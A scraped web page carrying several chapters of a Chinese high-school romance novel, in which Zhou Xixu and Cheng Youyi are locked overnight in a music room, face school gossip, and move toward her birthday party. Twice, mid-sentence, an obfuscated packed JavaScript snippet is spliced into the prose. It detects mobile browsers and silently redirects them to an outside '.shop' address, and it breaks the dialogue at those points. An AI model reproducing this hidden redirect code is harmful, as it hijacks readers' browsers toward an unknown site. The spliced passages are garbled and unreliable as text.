错确实在她,但这错可大可小。毕竟也没造成什么实质性的伤害。 夕阳的余晖与地平线短暂交叠,教室里一点一点沉入昏暗。 空气中凝结着微妙的气氛。 经过刚才的事,周悉许没脸面对程又一。她没去开灯,怕对方看到自己不自然的神情,索性就这样藏在黑暗里。 “算了。”程又一妥协道,“拉首曲子当赔罪吧。” “好。” 周悉许走上台,在排练时坐过的椅子上坐下,手臂拉动琴弓,低沉的大提琴声瞬间响彻整个教室。 程又一也走上台,在钢琴前坐下。他修长的手指自如地游走在黑白琴键间,舒缓的钢琴声与浑厚的大提琴完美地交织在一起。 周悉许看过去。 借着窗外路灯的余光,昏黄的光线下,程又一的眼睛格外明亮。 他也在看她。 两道视线相撞。 一个笃定,一个飘忽。 仅仅一秒,周悉许仓皇躲开。 随着钢琴的最后一个低音收尾,合奏结束。 “相比小提琴,这曲子和钢琴更搭。”程又一说。 周悉许没接他的话,开口问,“之前你不是说忘了怎么弹?刚才弹得挺好。” “看心情。” 周悉许没信他的鬼话。 程又一又自顾自地弹起一个欢快的旋律。 “这歌怎么样?” “没听过。”周悉许如实回说。 “那正好。” 这话让人摸不着头脑。 周悉许搞不懂程又一葫芦里卖的什么药,没再追问,只是静静地在一旁听着。 程又一时不时看向她。哪怕看不清脸,单单是那氛围,就帅得一塌糊涂。隔着傍晚微凉的空气,他的目光落在她的眉眼间,炽热,滚烫。 周悉许低下了头。 然后,程又一笑了。 一曲终了。 两人再度陷入沉默。 窗外,天色已经完全暗了下来。 “程卿应该不会来了。”周悉许起身朝外走,“我先回去了。” 她抬手推了一下门。 没动。 又用力推了推,门还是纹丝不动。 周悉许眉头紧锁。 “门打不开了。” 34. 试图索吻 两人隔着些距离,程又一没太听清周悉许说的话。他走到她跟前,“怎么了?” “门打不开了。” “你往后退。” 周悉许让开位置。程又一上前,用手推了推。 门没开。 “不会是锁了吧?”周悉许着急问。 “你站远点。” 程又一往后撤了两步,借着惯性,用身体猛地撞向门。 门还是没开。 尝试了几次,程又一放弃了。 “我们被锁里面了。” 或许是光线太过昏暗,又或许是周悉许的错觉,有那么一瞬间,她竟然从程又一眼里看到一丝窃喜。 “那怎么办?” 程又一摊手表示无能为力。 她有些心烦。 兴致冲冲地准备了半天,没等到程卿,反而被锁在这儿,无语的是还是和程又一一起。 “你让开,我再试试。” 周悉许上前要撞门,被程又一拉住了。 “别白费力气了。” “那总不能什么也不做啊。”周悉许烦躁地踢了下门,“谁这么无聊,开这种玩笑。” 程又一想都没想,脱口而出,“可能是值班的大爷。” “值班大爷闲的没事干了?锁门干嘛?” “人工作就是锁门。”程又一朝周围扫了一圈,“这么乐器多,不锁门等贼来呢?” 音乐教室的乐器很多,而且价格不菲,相较于其他教室,这里确实是有必要锁门。但问题的关键是,刚才程又一在弹钢琴,很明显教室里是有人的。 “弹琴那么大声,聋子都听得见。”周悉许立刻反驳,“明知道有人还锁门,不是恶作剧是什么?” “那大爷好像耳背。”程又一随口一说。 周悉许盯了他两秒,“这你都知道?不会是你干的吧?” 程又一失笑,“就为跟你在这儿过夜?” “……” 周悉许忽然有种不祥的预感,这货不会放过她。 果然,程又一没让她失望。 他语气听着很没正形,“非要说是恶作剧,你嫌疑更大。” “……”周悉许右眼皮跳了两下。 “毕竟你这人手不安分。” 程又一眼里浮现笑意,只是这笑意略带讥讽。他凑近了些,语气暧昧不明,“要不是我及时制止,不敢想你得多生猛。” 周悉许被呛得轻咳出声,为了掩饰狼狈,她又假装咳了几下。“说什么虎狼之词呢你,我是失误,又不是禽兽。” “都上下其手了,还只是失误?”程又一语调闲散,“你失误的挺频繁,上次在英国也是失误。” 周悉许被怼得无话可说。 这人说的也算是事实…… 英国那次是失误,这次也是。但在旁人看来,她这些“失误”,难免会被当成有意为之。 周悉许在心里暗骂自己:闲着没事搜人家身做什么? 搜就算了,还搜得那么认真…… “上次那个失误,我跟你解释过了,也道过歉了。这次我也说了是不小心。你有必要揪着不放?” “行,翻篇。”程又一爽快地说,“但你有没有想过——” “想过什么?” “你对陆竞,是不是也频繁失误?” 程又一眼里带着审视,像是在逼她面对自己内心真实的想法。 “我甚至怀疑,你在意的到底是不是程卿。” 他一瞬不瞬地盯着周悉许,捕捉她脸上闪过的每一丝情绪。顿了几秒,又补了一句: “还是说,程卿其实只是个噱头?” 周悉许心里咯噔一下。 她没接茬,换了个话题:“说正事。你想想办法,总不能真在这儿被关一晚吧。” “没办法。” 周悉许瞥了眼旁边硬梆梆的座椅,皱眉:“坐一宿?” 程又一不自然地咳了两声。 刚才那出闹剧过后,本来挺正常一句话,愣是让人浮想联翩。 尤其这大半夜的,安静得过分。 周悉许这才反应过来。 她下意识抿了下唇,脸唰地红了。 时间变得粘稠而缓慢。 程又一先开了口:“将就一晚吧,条件有限。” “嗯。” 周悉许应着,走到前排椅子坐下,闭眼装睡。 这种时候,睡觉是最好的选择,起码不用面对尴尬。 程又一也走过来,伸手按了按椅背:“你就这么睡?” 周悉许掀起一点眼皮:“那怎么睡?总不能躺桌上吧。” 教室里的桌子是一排一排的环形书桌,虽然很长,但宽度有限,人躺在上面稍不小心就会掉下去。 程又一打量着周悉许身上的制服衬衫:“外套呢?” “练琴的时候觉得碍事,扔在班级教室了。” 周悉许此刻无比后悔,早知道就把外衣带过来了。申泸这个季节早晚温差大,音乐教室又空旷,椅子座面还是皮质的。她下半身只穿着短裙和高筒袜,坐上去一阵凉意顺着皮肤往上爬。 程又一脱下外套递给她。 周悉许没接:“我不冷,你穿着吧。” “把腿围上。” 程又一又把衣服往前递了递,语气不容推辞。周悉许没再拒绝,接过衣服盖在腿上。 “冷就靠过来。”程又一在她旁边的椅子上坐下,双手交叉抱在胸前,倚着椅背闭上了眼睛。 她没应声。正过身子,也缓缓合眼。只是叠在裙摆上的手指,攥起了衣角。 然后,教室里彻底安静了。 —— 第二天。 周悉许睁开眼,面前是一个结实的胸膛。微敞的领口下,线条分明。隔着薄薄的衣料,能感到稳健有力的心跳,一下一下,像是敲在她心口上。 她猛然意识到,自己正依偎在程又一怀里。 她的手正环着他的腰。而他的手臂也回揽着她,一只手落在她腰间,另一只手搭在她肩上。 她大气都不敢喘,更不敢抬头看程又一。虽然不知道是谁先动的手,但眼下这姿势,谁都说不上清白。 周悉许正盘算着该如何化解这场尴尬,思绪却被“砰”的一声开门声骤然打断。 她条件反射地扭头看过去,动作太大,把程又一扰醒了。程又一带着惺忪的睡眼,也慢慢转过身。两人一前一后回着头,都是一副没睡醒的模样,手还搭在对方身上。 刚进教室的几个人看到这情形,全愣在原地,进退两难,明显慌了神。 周悉许最先反应过来。她迅速从程又一怀里抽身,平静地站起来。 没看程又一,也没理会那几个人,径直朝门外走去。 经过教室门口时,迎面又来了一拨学生。 见周悉许从教室里出来,都很诧异。等进了教室,看到衬衫微敞的程又一和那几个呆愣在原地的同学,才恍然大悟。 虽然都是学生,但谁也不傻。发生了什么,不言而喻。 程又一无视越聚越多的人群,面无表情地离开了。 身后,教室里爆发出一阵惊呼。 紧随其后,南洋论坛炸开了锅。 【ID_123321】:[图片]音乐教室,早上七点多。 【ID_大帅哥】:偷情小情侣?昨晚音乐教室不平静啊。 【ID_喵星人】:被抓包好丢脸。看到正脸没?女的漂亮吗? 【ID_123321】:非常漂亮,校花争霸赛的其中一个。 【ID_西瓜皮】:肯定是周悉许,程卿只知道学习。 【ID_大帅哥】:男的是程又一? 【ID_123321】:就那俩嘴硬的。 【ID_喵星人】:被抓这么多次死活不承认,还轮流删帖。 【ID_大帅哥】:别说了,等会儿大小姐又要怒了,死鸭子嘴硬。 —— 课上,柳宜菲强压着好奇心,想等下课再问周悉许。毕竟程又一还在班里,不方便开口。 没想到徐途竟然先按捺不住了。 “悉许,怎么回事啊?”徐途凑过来低声问,“大早上传得沸沸扬扬的,你昨天不是和程卿一起吗?” “没联系上程卿,莫名其妙就被锁在教室里了。”周悉许苦着脸说。 “那他怎么在?”徐途用眼神朝程又一的方向瞟了瞟。 经徐途这么一问,周悉许也纳闷了。程又一昨天来音乐教室是为什么?他明知道程卿不在。 “不知道他来做啥。”周悉许实话实说。 “是去给程卿过生日?”徐途又问。 “我昨天联系不上程卿,给他打电话了。” “哦。”徐途推了推鼻梁上的镜框。 “那这不很明显嘛,人就是去找你的。”柳宜菲插嘴说。 周悉许没急着开口,琢磨着柳宜菲的话。照那个情形来看,程又一应该是去找她的。 “那你俩咋就抱一起了?我看照片,还挺亲密的,感觉和真谈没区别。”柳宜菲又说。 她这个直性子平时是挺好的,但特定的时候,实在让人尴尬。 比如此时。 周悉许清了清嗓子,想了一会儿说,“你可以理解为艰难环境下的求生本能——太冷了。” 话音刚落,就听到一声嗤笑。 是程又一。 看样子,她们的对话他听的一清二楚。 “这理由你用得有点多了。”程又一转过头,神情傲娇,“换个说得过去的。” 篓恩那个二百五也加入八卦阵营,“是啊,我刚才一直没好意思说。音乐教室没空调?至于人体取暖?” 周悉许:“……” “行了,别拆穿人家那点心思了。”程又一语气轻飘飘的,“她惦记我不是一天两天了。” 他嘴角那抹要笑不笑的弧度,要多欠揍有多欠揍。 “活驴,没看出来啊,志向挺远大,还觊觎程又一呢。”篓恩在旁边阴阳怪气。 周悉许火气噌就上来了。 “滚一边去,有你什么事?” “怎么就没我事了?你占我哥们儿便宜,就是间接占我便宜,当然有我事啊。”篓恩梗着脖子,理直气壮的。 “怎么就确定是我占他便宜?你别胡说八道。” “你没占?” 程又一眼尾微微上挑,神情漫不经心。 明摆着在暗示搜身那事儿。 周悉许瞬间没话说了。 篓恩一拍大腿,“擦,我就知道!绝对是活驴死皮赖脸往程又一怀里钻,我早猜到了。” “你少放屁,万一是他自己手贱呢?”周悉许怼回去。 “得了吧,你都心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586047|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虚成这样了还嘴硬。” “懒得跟你废话。” 周悉许不想再争了。跟篓恩这种人多说一句都是浪费口水。再说,昨天的事她也真说不清。 “程又一你说,我说的对不对?是活驴霸王硬上弓了对吧?”篓恩转头找程又一求证。 程又一扯了下唇,语气散漫,“不是她,是我手贱。” 周悉许一愣,迟钝地看向他。 程又一也看着她,“是我见色起意。” “啊?”篓恩大吃一惊,“你真的假的?逗老子玩呢吧,怎么可能是你。” 程又一没再说话,只是转过身去。 周悉许呆呆地看着他的背影出神。努力回想昨天晚上的情形,可脑子里一片模糊,一点具体的印象都没有。 程又一的话无从验证。 不过,应该就是他说的那样。毕竟,他没有理由撒这种谎。 好不容易挨到了午休时间。 周悉许终于逃离了篓恩那张破锣嘴。 朱缇和往常一样,早早就等在周悉许班门口。 一见到朱缇,柳宜菲又开始八卦了,“昨天悉许和程又一被关一起了,你知道吗?” “嗯。”朱缇轻声应道,没多余的话。 “那照片你看没?” “没注意。” “好吧。”柳宜菲说,“我昨天回去还想着等悉许的好消息呢,没想到半路杀出来个程又一,最离谱的是竟然还被锁里面了。” “是啊,太离谱了。” 朱缇回得敷衍,明显没走心,看着还有些心虚。 “我怎么感觉是恶作剧?”徐途突然开口。 “你觉得有人故意把他们锁在里面?”柳宜菲问。 “嗯,感觉像,照理来说值班的大爷锁门之前会进去看一圈。”徐途说。 “我也觉得,而且当时教室里有琴声,外面的人肯定听得到。”周悉许说。 “你也觉得有人要整你?” “嗯。”周悉许点点头,想了想,说,“可能是顾畔那个小屁孩,别人没这个胆子。” “但她最近挺消停的。再说了,就算她要整你,也不会傻到把你和程又一关在一起,这不是给自己找不自在嘛。” 周悉许觉得徐途的话在理,顾畔应该不会犯这么低级的错。 “有没有可能是天太黑,没看清人,不知道里面是程又一,以为是程卿?”朱缇终于开口。 “程卿是程又一他妹。”柳宜菲说,“就算顾畔想整悉许,也不会连程卿一起锁啊。所以我也觉得这人不是顾畔。” “那会是谁呢?竟然连悉许都敢整。”徐途自言自语道。 “也有可能不是想整她,是好心办坏事。”朱缇小声说。 这么小的声音,完全不像她。再结合她四处飘忽的眼神,周悉许终于搞清楚了。 始作俑者原来是朱缇。 “门是你锁的吧?” 周悉许眼里带着杀气,恨不得刮了这个猪队友。 朱缇干笑两声:“我这不是想助攻嘛。没想到,攻错人了。” “你个猪脑。” 周悉许恨铁不成钢。 “那能怪我吗?谁能想到程又一会去啊。”朱缇一脸的埋怨,“人家双女主的感情线,他一个女主的表哥非去凑什么热闹。” “是啊,也不能怪朱缇。”柳宜菲出来接话,“要怪就怪程又一,一个路人甲非要上去抢戏。” 朱缇疯狂点头。 “他去也就算了,怎么能篡改设定,强行把自己升成男主,还和女主搞一起去了,弄得那么干柴烈火。” 周悉许脸色铁青。 “谁和他干柴烈火了?真想撬开你这个猪脑看看里面装的是什么。” “你都说了是猪脑,还撬开看什么啊。”柳宜菲笑得没心没肺,说完才意识到自己又缺心眼了,连忙说,“我闭嘴。” “不过我说实话,你和程又一看着真挺配的,你要不别攻略程卿了,和程又一算了。”朱缇笑着说。 柳宜菲举手,“我再说一句,我赞同朱缇的话。” 周悉许闭眼深呼吸,“你俩都给我闭嘴。” —— 当天晚上。 周悉许又失眠了。 她翻了个身,把脸埋进枕头,黑暗中其他的感官变得更加敏锐。墙上的钟摆声,远处隐约的车流,还有她自己擂鼓般的心跳。 她索性睁开眼,望着天花板,思绪不受控地飘回那个窘迫又滚烫的瞬间。 程又一结实的胸膛,和他掌心的温度,以及他身上特有的薄荷香,困在脑海里久久散不去。 难道真的像程又一所说的,是他起了色心先上的手? 这个问题扰得周悉许心神不宁。 她知道答案对她来说并不重要,但就是着了魔一样,疯狂地想知道真相。 大概是日有所思夜有所梦,那晚周悉许做了个梦。梦里的场景很真实,像是真真切切发生过。 她梦到自己迷迷糊糊地挤进了程又一怀里,鼻尖蹭过他衬衫的领口。他先是一僵,过了许久,手才环上来。她便又往他怀里埋了埋。而后他的手臂收紧了,她的额头抵着他的锁骨,能清晰地感觉到他颈动脉的搏动,一下,又一下。 半梦半醒间,她似乎听到程又一说了句话。 但说了什么,不得而知。 下一秒,梦醒了。 35. 你什么时候表白? 音乐节很快就到了。 当天,周悉许和程卿配合得默契十足。两人的同台演奏把整场音乐节的热度推到最高点。 演出结束后,周悉许借着庆祝的名义约程卿吃晚饭,却被婉拒了。 周悉许有点沮丧。 “精神点,人家没时间,姐搭理你。”朱缇伸手在她后背重重拍了一下,“徐途她俩忙着备考,今晚是咱俩的二人世界,兴奋吗?” 周悉许身上还穿着演出的连衣裙,后背裸露着,被朱缇一巴掌直接拍出个五指山。 她疼得直咧嘴,“兴奋你个锤子,你想拍死我啊,下手没轻没重。” 朱缇在她身前摸了一下,奸笑道,“我怎么舍得,你不然换个人吧,别惦记程卿了,姐配合你,怎么样?” “……” 自从朱缇知道她喜欢程卿后,经常拿她开玩笑。她懒得计较,大部分时间都放任朱缇口嗨。 刚坐上车,朱缇就叹了一口气。“看出来马上高考了,大家都好拼呐,就咱俩像傻子,连个方向都没有,你怎么打算的?” 周悉许之前是想毕业直接去英国。虽然也没什么可选的大学,可习惯了那边的生活。 但现在,计划有变。 她想去申大附近的学校。 程又一帮她分析过,她最有可能够得上的就是东港大学。 这学校是个普通本科,在申泸算是中等院校,但放眼全国,还算是不错的。 “想去东港大学。”周悉许说。 “你还想在申泸?” “嗯。” “咋不让周征给你弄去申大?干嘛弄去东港?” 周悉许别过脸,语气生硬,像是在较劲,“不用他弄,我自己考。” 朱缇瞥了她一眼,“你喝假酒了?” “……” “就你那两把刷子还自己考?别说东大,靠你自己,考个大专都费劲。”朱缇轻蔑一笑。 “滚一边去,你以为我是你呢。” 朱缇嗤笑一声,语气里那股嘲讽味儿更浓了,“周悉许,你和我有啥区别吗?一个倒数第一,一个倒数第二,你咋好意思说这话呢?” “那是几百年前的事了,最近我成绩还可以的。”周悉许很有信心,“再努力努力应该能考上。” “你快得了吧,这话你就和我说说算了,和别人说,我怕把人家笑死。” 周悉许瞪了朱缇一眼,“你自己去翻上次考试排名,我和你已经不在一个区域了。” 朱缇倒数第一当久了,很久没关注排在自己前面的人是谁了。 主要是太多,记不住。 “真的假的?”朱缇惊讶地问。 “必然是真的啊,我闲着没事骗你干嘛。” 朱缇盯着她看了一会儿,“周悉许,你学会坏了。你以前只是脑子不够用,但诚实。” 周悉许翻了个白眼,“我真没骗你。” “不是骗不骗我的问题,你是在欺骗你自己。”朱缇一脸严肃。 “?”周悉许有点懵。 “倒数第二就倒数第二,你怎么能作弊呢。” “……” 周悉许彻底被打败了。 自从认识朱缇以来,她的成绩一直烂得很稳定。现在成绩突然提升,没人信了。 “你爱信不信,我就是自己考的。” “行,行,行,就当你是自己考的。” “就当”这个词让人很不爽,但她也没争辩,“懒得和你说,反正我去东港,你怎么打算?” 朱缇摸着下巴琢磨了一会儿,随即下了个决定。 “和你一起去东港。” 朱缇是外籍,对她来说上东港轻而易举。 经历了一年的努力,周悉许也算是吃了些学习的苦,她愤愤不平道,“擦,努力半天,和你一个学校。” “卧槽,姐愿意和你一个学校已经是有良心了,按我的水平,去申大也不是不可能。” “是,你说的对。就是苦了广大考生,让你个水货抢了个名额。” “谁让姐是外籍呢。” 周悉许瘪嘴,“真不公平。” “周悉许,你和我说公平,你出生在周家对劳苦大众来说公平吗?”朱缇翻了个白眼。 周悉许被怼的哑口无言。 “本来公平就是相对的,哪有绝对的公平。” “嗯,我谢谢你放弃申大,来东港陪我。”周悉许皮笑肉不笑地说。 “那你为啥不去申大?就在东港隔壁,离我也近,说不定周悉丞也会去,如果他不去欧美留学的话。” 朱缇像被踩了尾巴,眼睛瞪得溜圆,“我有病吗?吃饱了撑的跟着他屁股后面转。”她别过脸,语气却明显虚了几分,“姐已经不对他抱有幻想了,去他班纯属失误,你就当我脑子短路了。” 顿了顿,她又仰起下巴,恢复了那副天不怕地不怕的模样,“现在姐要搞事业,老头子的公司还等着我撑起来呢!” “你真想通了?” “嗯。” 朱缇看向车窗外,沉默了一会儿,“周悉丞好像恋爱了。” “怎么可能?”周悉许想都没想,“我谈恋爱,他都不可能谈。” “他脖子上多了个狗链子,上面挂着个戒指。”朱缇语气很淡。 周悉许不说话了。 周悉丞从来不戴饰品。她知道,朱缇也知道。 “还有,你没发现吗?周悉丞天天围着个破破烂烂的围巾,看着和他很不搭。”朱缇自嘲一笑。“早知道他这么容易被拿下,姐也给他织一条了。” 车里一下子安静了,气氛有些沉闷。 朱缇面儿上很平静,但平静得有些不像她。 周悉许不知道该怎么安慰人,嘴唇张张合合了好几次,最终还是没说出口。她只是伸手覆在朱缇身上,轻轻拍了两下。 周悉丞恋爱了,明明是件好事。 可此时此刻,周悉许却怎么也高兴不起来。 两人一路沉默,就这么到了周悉许家。 电梯直达25楼。 门一开,朱缇傻了。 周悉许也傻了。 程又一就站在她家门口,手里捧着一束铃兰花,脚边还躺着两个塞得鼓鼓囊囊的超市购物袋,里面全是吃的。 朱缇的嘴直接变成了“O”,扭过头瞪着眼睛问周悉许,“什么——情况?” 周悉许脑子有点转不过来。 补课这事……她忘了说了。 “晚点跟你解释。”周悉许飞快地跟朱缇交代了一句,然后硬着头皮看向程又一,“你怎么来了?” 她明明记得之前和程又一说过的,音乐节当天不补课。 这人是忘了? 就算是忘了,怎么还拿束花? 奇奇怪怪的。 程又一没想到朱缇会跟着回来,愣了一下,但很快恢复如常,“没印象。” 看来是真忘了…… “今天不补课了,我们要庆祝。”周悉许说。 程又一把花递过去,“一起呗,正饿着呢。” 周悉许没接,心里盘算着该怎么拒绝。 朱缇伸手戳了戳她,“愣着干嘛,接啊。咱俩也不知道吃啥,正好人多热闹。” 周悉许看着程又一手上的花,问:“送我的?” “嗯。” 她接过花,低头闻了闻,“这什么花?还挺香。” “不知道,路边买的。”程又一说。 看着周悉许手里那束铃兰花,朱缇心里之前那个猜想,似乎有了答案。 周悉许不懂花,但朱缇懂。 这花,可不是在路边就能随手买到的。 进门后,程又一跟往常一样,轻车熟路地忙活起来。 朱缇用胳膊肘捅了捅周悉许,“你俩这是……一起过日子了?” “过你妹。” “那他对这儿怎么这么熟?” “他经常来给我补课,之前想跟你说来着,但那阵儿你正忙你爸的事,我就没说。”周悉许伸了个懒腰,整个人往沙发里一陷。 “就只是补课?”朱缇挑了下眉,明显不信。 “不然呢?”周悉许笑了笑,“备不住也可能是情敌。” “……” 朱缇彻底无语了。 有些人看着挺精明的,实际上是个傻缺。 她在心里细数了一下周悉许迄今为止的大胆猜想: 程又一是gay。 周悉丞也是gay。 现在更牛逼,直接整出个骨科。 朱缇忽然有点同情程又一了。 话到嘴边,她又咽了回去。努了努嘴,挤出一个假笑,“周悉许,你还真他娘的是个人才。” “你没跟他们接触过,你不了解。”周悉许说。 朱缇伸手揉了揉她的头顶,“这里头装的是屎吧。” 她本来想跟周悉许说说程又一的事,想了想,还是算了。现在说多了也没用,毕竟周悉许现在喜欢的是程卿。 想到这儿,朱缇忽然顿悟了。 周悉许看这个世界弯弯绕绕,本质上是因为——她不直。 过了一个多小时,程又一从厨房出来,“吃饭。” 朱缇走过去,对着一桌子菜傻眼了,扭头看周悉许。 “他做菜一绝。”周悉许说。 朱缇撇了撇嘴,语气酸溜溜的,“你这话听着,怎么跟夸自己老公似的?” 被她这么一调侃,周悉许也意识到自己嘴快了,脸上有些挂不住,耳根微微发热,“别那么多废话,赶紧吃你的。” 程又一嘴角不动声色地扬了扬。 原本,朱缇一直把周悉许这儿当成自己家,但此刻,她突然觉得自己像个客人。 这顿饭吃了一个多小时。 晚上,朱缇在周悉许家留宿。 程又一收拾完厨房就走了,临走还顺手把垃圾带了下去。 朱缇:??? 这俩人难不成是隐婚了? —— 第二天是周六。 早上九点整,门铃准时响了。 朱缇被吵醒,带着一肚子起床气,抬脚踢了踢周悉许,“大早上谁啊?去开门。” 周悉许迷迷糊糊地爬起来,挠了挠睡成鸡窝的头发,随手抓了件衣服披上,拖着步子走到门口。 推门一看,是程又一。 他手里拎着早餐,站在门口,一脸理所当然。 “这么早……”周悉许打着哈欠,话都说不利索。 程又一指了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586048|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下她身上轻薄的外套,“你收敛下。” “收敛什么?”周悉许没反应过来。 “投怀送抱不成,又换色诱了?” 她尴尬地拢了拢披着的外套,“谁能想到是你。” 然后抬腿进了衣帽间,换上一套保守的居家服。又拿了一套去卧室,拍了拍朱缇,“程又一来补课了,你要一起听吗?” “听个屁。”朱缇不耐烦地翻了个身。 “他带了早餐,你要么起来吃点,吃完再睡。” 朱缇抄起旁边的枕头就朝她扔过去,“学你的习去,别耽误姐在梦里和帅哥约会。” 周悉许把居家服放在床上,出了卧室。 餐桌上已经摆好了早餐,是她喜欢的砂锅粥和虾饺。 “快吃,吃完学习。”程又一催促道。 “哦。” 周悉许脸上带着困意,她拿起勺子喝了一口粥。味道很好,看包装不像是在店里打包的。 “你什么时候表白?”程又一突然问。 周悉许一惊,嘴里的粥差点喷出来,“你、说什么?” “你不是要和程卿告白吗?”程又一的语气很平淡,没什么情绪。 周悉许这回是真呛着了,粥差点从鼻子里喷出来。“你管这个干嘛?不用你操心!” “我得根据你的时间,确定我下一步计划。”程又一漫不经心地转着笔,笔在指间飞快地绕了一圈又一圈。 她后背一凉,脑子里警铃大作。 这人……该不会是打算搞破坏吧? “你准备计划什么?” 程又一没接她的茬,自顾自地说,“高考结束那天吧。也算给你自己一个结果。” “什么意思?”周悉许眉头紧皱,满眼警惕。 “没什么,别多想。”程又一自说自话,“那就这么定了,需要帮助就说,我大力支持。” 周悉许被他这波操作彻底搞晕了。 她完全搞不清程又一到底想干什么。 脑子里无数个问题转来转去,最终都汇成了同一个:他为什么要帮自己? 周悉许想破头也想不明白。 以至于她整个上午都在神游,面前的题一道也没做进去。终于,她忍不住了,“为什么帮我?” 程又一看都没看她,语气淡淡的,“是帮我自己。” “嗯?和你有关系?” 程又一点了点头,“关系还挺大。” 周悉许盯着对面的人打量了好一会儿,试探着问,“你真的会帮我?” “当然。” 程又一回答得毫不犹豫,一脸坦荡,确实不像在骗人。 “你希望我成功吗?”她又问。 程又一没直接回答,反而看了她一眼,“我希不希望,重要吗?” 周悉许被他反问得噎了一下,瞬间后悔了。这问题问得,简直是在给自己挖坑。 她深吸一口气,硬撑着面子,“你希不希望,我都会成功。” “那预祝你得偿所愿。” 程又一笑得散漫,眼底却透着一股把控全局的笃定,仿佛一切尽在掌握。他那副表情,像个猎人,正从容不迫地等待着最后的收网。 “希望你说到做到,别坏人好事。”她说。 “别把我想得那么坏行吗?”程又一歪了下头,“我什么时候坏过你的事?” 周悉许下意识回想了一下。 确实没有。相反,他一直在帮她。 这么一想,她觉得自己对程又一这个态度,确实是挺没良心的。 她在心里暗暗叹了口气。就算程又一对程卿真的有超出兄妹的情感,她也该以一颗平常心去面对他。毕竟喜欢程卿的人那么多,只是多了一个人而已。 见她一直没说话,程又一也没追问。他看了眼墙上的表,起身去了厨房。 周悉许一个人装模作样地做题,实际上心思早就飘到九霄云外了。 过了快四十分钟,程又一做好了午饭。 朱缇闻着味儿就从卧室蹿出来了,往桌前一坐,眼睛都亮了,“和你们一起生活,我感觉自己像个幸福的小孩子。” 周悉许眼皮一跳,直觉告诉她这货又要开始胡言乱语了,赶紧截住,“别那么多屁话。” 朱缇直接当耳旁风,继续厚着脸皮装小孩,还故意捏着嗓子,“刚起床爸爸妈妈就做好菜等我吃饭了,真好啊~” 周悉许:“……” 她第一次为有朱缇这么个闺蜜感到丢脸。 托这货的福,她在程又一那儿原本就所剩无几的颜面,现在算是彻底清零了。 程又一也没个正形,顺着朱缇的话往下接,“那你吃完饭乖乖去外公家,爸爸妈妈再给你添个小弟弟。” 周悉许:“?” 朱缇拍着桌子笑疯了,竖起大拇指,“我全力配合!吃完饭就滚,你俩加油!” 周悉许:“……” 午饭结束,朱缇一秒都没多待,溜得比兔子还快。关门之前,她探个头进来,满脸真诚,“好孕哦~” 周悉许脸都绿了。 程又一倒像个没事人一样,悠闲地往沙发上一靠,“怎么说?” “什么怎么说?” “不给你闺蜜要个弟弟?” “……” 36. 一定会遇到好的人 时间过得飞快,转眼距离高考已不足一个月。 周悉许的生日也到了,陆竞特意从美国赶回申泸,朱缇和柳宜菲张罗了一场生日派对。柳宜菲动用自己在南洋的人脉,邀来一群同学捧场,熟的不熟的都来了,气氛热闹得像最后的狂欢。 程卿,自然也来了。 不过,周悉许本人并不知情。派对是朱缇精心准备的惊喜。周悉许以为只是几个人简单吃顿火锅庆祝一下,没成想竟弄出这么大的阵势。 “怎么样,惊喜吗?”朱缇的手搭在她肩上,朝程卿的方向抬抬下巴。 “嗯,你终于干了件人事。” “擦,周悉许,有你这么感谢人的吗?”朱缇不满道。 周悉许做了个下跪的手势:“谢谢猪姐办的生日趴。” “死样,姐不跟你一般见识。不过功劳主要还是柳宜菲的,她真不是一般的强。” 这话周悉许是认可的。柳宜菲的组织能力大家有目共睹,绝对是靠实力混进学生会核心的。 “她人呢?”周悉许问。 “和徐途去门口接人了。” “哦。” “你今天表白不?”朱缇小声问。 周悉许摇摇头,“考完试再说,今天都没准备。” “这玩意有啥好准备的,有嘴就行。” “怎么也得有点仪式感啊,起码要比上次那个更隆重。” 朱缇冷哼一声,“你还挺懂浪漫。” “你们到时候得帮我想想。” 正聊着,周悉丞过来了。 朱缇脸色立马冷了下来,她拍了拍周悉许的肩,扭头就走了。 周悉丞递过来一个方方正正的小盒子,“生日快乐。” 一句祝福被他说的像诅咒一样,冷冰冰的。但周悉许今天心情不错,不打算计较,毕竟今天人家也是寿星。 她接过礼物,从包里掏出来个差不多大小的礼盒递过去,“你也生日快乐。” “谢了。”周悉丞伸手接过来。 周悉许的目光落在他胸前的吊坠上,戒指内壁隐约刻着两个字母。她伸手去够,想看清是什么,却被避开了。 “你恋爱了?”她问。 “别管闲事。” 周悉丞没否认。 在她看来,这算是默认了。 “你还真是啊。”周悉许朝四周扫了一圈,笑着说,“今天过生日,女朋友不来帮你庆祝?” 周悉丞没说话,视线落在前方。 “问你话呢。”周悉许伸手在他面前晃了晃,“到底是啥样人啊,我挺好奇的,究竟是什么样的仙女能让你这棵铁树开花?叫过来认识一下呗。” 周悉丞罕见地笑了笑,但这笑不是对周悉许的。 “我没看错吧,周悉丞,你笑了?” 周悉许顺着他的视线看过去,刚好看到正朝他们走来的程卿。 程卿招招手,快走了几步,“抱歉,来完了。” “不晚,刚好。”周悉许笑着回。 程卿从背包里掏出两个盒子,分别递到两人面前,“祝你们生日快乐。” 周悉许有些意外。 她居然还给周悉丞准备了礼物。他们只有一面之缘,按理说和陌生人没什么差别。 “听说你们是龙凤胎,所以准备了两份礼物。”程卿笑着说。 周悉许接过礼物,“谢谢,你用心了,竟然还知道我俩是龙凤胎。” 